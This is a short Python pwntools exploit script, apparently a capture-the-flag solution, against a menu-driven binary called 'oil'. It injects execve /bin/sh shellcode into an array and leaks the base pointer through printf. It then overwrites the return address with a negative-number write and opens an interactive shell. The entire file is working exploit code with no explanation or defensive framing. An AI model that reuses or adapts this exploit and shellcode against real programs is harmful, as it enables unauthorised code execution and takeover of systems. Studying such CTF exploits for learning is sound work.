#!/usr/bin/python

from pwn import *

# pc = remote('0.0.0.0', 20001)
pc = process('./oil')
sh = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x90\x90\x90\x90'

# insert shellcode bytes into array
for i in range(0, len(sh), 4):
    pc.recvuntil('Exit.')
    pc.sendline('2')
    pc.sendline(str(i))
    pc.sendline(str(u32(sh[i:i+4])))

# fill array with non-zero bytes (to leak bp through printf)
for i in range(len(sh), 1017, 8):
    pc.recvuntil('Exit.')
    pc.sendline('2')
    pc.sendline(str(i))
    pc.sendline(str(0xffffffffffffffff))    

# extract bp from string
pc.recvuntil('Exit.')
pc.sendline('3')
pc.recvuntil('Save it! ')
data = pc.recvuntil('\n')[:-1]
bp = u32(data[-8:-4]) - 8
print 'base pointer: %x' % bp

# calculate ret
ret = bp - 0x400
print 'ret: %x' % ret

# create payload to overwrite ret
ret = (ret << 32) + bp
print 'payload: %x' % ret

# send ret as negative value
ret = 0xFFFFFFFFFFFFFFFF - ret
pc.recvuntil('Exit.')
pc.sendline('2')
pc.sendline('1024')
pc.sendline('-' + str(ret))

# extract new ret
pc.recvuntil('Exit.')
pc.sendline('3')
pc.recvuntil('Save it! ')
data = pc.recvuntil('\n')[:-1]
new_ret = u32(data[-4:])
print 'new ret: %x' % new_ret

# exit and spawning shell
pc.recvuntil('Exit.')
pc.sendline('4')
pc.interactive()
